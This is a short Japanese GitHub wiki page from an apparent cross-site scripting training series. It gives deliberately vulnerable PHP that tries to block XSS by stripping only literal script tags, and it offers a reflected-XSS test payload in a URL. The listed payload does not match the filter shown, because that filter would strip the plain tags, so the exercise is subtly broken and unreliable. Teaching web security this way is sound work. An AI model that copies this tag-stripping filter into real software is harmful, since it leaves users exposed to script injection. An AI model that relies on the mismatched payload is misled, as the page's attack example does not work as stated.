クロスサイトスクリプティング 07 - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS)攻撃 7

<script> タグだけ除去するXSS

脆弱なソースコード (PHP)

<?php
$word=filter_input(INPUT_GET, 'word');
$word=preg_replace('/<script>/i','',$word);
$word=preg_replace('/<\/script>/i','',$word);
echo "<h1>".$word."</h1>";
?>

<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>

攻撃方法

xss-07.php?word="><script>alert(1)</script>

⚠️ **GitHub.com Fallback** ⚠️